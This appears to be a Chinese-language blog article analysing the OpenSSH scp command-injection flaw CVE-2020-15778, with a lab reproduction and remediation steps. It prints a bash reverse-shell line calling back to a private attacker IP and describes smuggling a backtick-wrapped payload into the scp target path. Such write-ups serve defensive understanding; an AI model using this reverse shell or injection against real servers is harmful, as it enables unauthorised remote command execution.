OpenSSH命令注入漏洞的示例分析

这篇文章主要介绍OpenSSH命令注入漏洞的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

专注于为中小企业提供成都网站设计、成都网站建设服务,电脑端+手机端+微信端的三站合一,更高效的管理,为中小企业东洲免费做网站提供优质的服务。我们立足成都,凝聚了一批互联网行业人才,有力地推动了超过千家企业的稳健成长,帮助中小企业通过网站建设实现规模扩充和转变。

漏洞说明

漏洞编号:CVE-2020-15778

SCP(secure copy)是一个在两台计算机之间拷贝文件的程序,使用ssh协议实现。默认包含在大多数的linux和unix发行版中。该程序由openssh的scp.c及其他相关代码实现。

出现漏洞的根本原因在于,scp.c文件的某个位置中,对远程命令参数没有做好过滤,导致可远程执行任意命令。详细分析,往下看。

利用条件

1. 目标服务器openssh版本<=openssh-8.3 p1

2. 目标服务器scp可用

3. 目标服务器ssh密码已知

漏洞危害

可在目标服务器上传脚本,执行任意命令,getshell。

利用场景

在已知ssh密码,但禁止ssh远程登陆的情况下,可尝试利用该漏洞,getshell。

漏洞分析

分析如下链接中,scp.c的第989行代码:

https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989

OpenSSH命令注入漏洞的示例分析

从以上代码中可知,当使用scp复制文件到远程服务器时,在scp命令后面添加文件的路径,命令如下:

scp SourceFile user@host:directory/TargetFile

在远程目标服务器上,上述命令将会按照下面的形式本地执行:

scp -t directory/TargetFile

在目标服务器创建本地scp命令的同时,并没有过滤文件名。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令。目标服务器将会执行反引号中的命令。

漏洞复现

攻击机 kali192.168.110.128
受害机centos192.168.110.130

在kali上创建一个名为kali.sh的文件,用来getshell。kali.sh文件内容:

bash -i >& /dev/tcp/192.168.110.128/4444 0>&1

OpenSSH命令注入漏洞的示例分析

反弹shell命令解析如下:

命令 说明
bash -i产生一个交互式bash
>& /dev/tcp/192.168.110.128/4444建立TCP连接,并将标准输出和错误重定向到TCP连接
0>&1从TCP连接获取输入

将kali.sh文件通过scp命令,远程传输到centos中的指定目录下:

OpenSSH命令注入漏洞的示例分析

在centos中可找到传输的kali.sh文件:

OpenSSH命令注入漏洞的示例分析

在kali上监听4444端口:

OpenSSH命令注入漏洞的示例分析

执行下面的poc,执行上传的反弹shell:

OpenSSH命令注入漏洞的示例分析

可观察到,kali已经成功连接到centos:

OpenSSH命令注入漏洞的示例分析

在linux中,反引号中的内容将会被当作shell命令执行。要注意,这里poc中用的是反引号,不是单引号。

漏洞修复

1. 更新openssh到最新版本

2. 禁用scp

3. 确保ssh密码的安全性,防止被泄露或暴力破解

以上是“OpenSSH命令注入漏洞的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注创新互联行业资讯频道!


本文标题:OpenSSH命令注入漏洞的示例分析
当前地址:http://scyanting.com/article/ijoido.html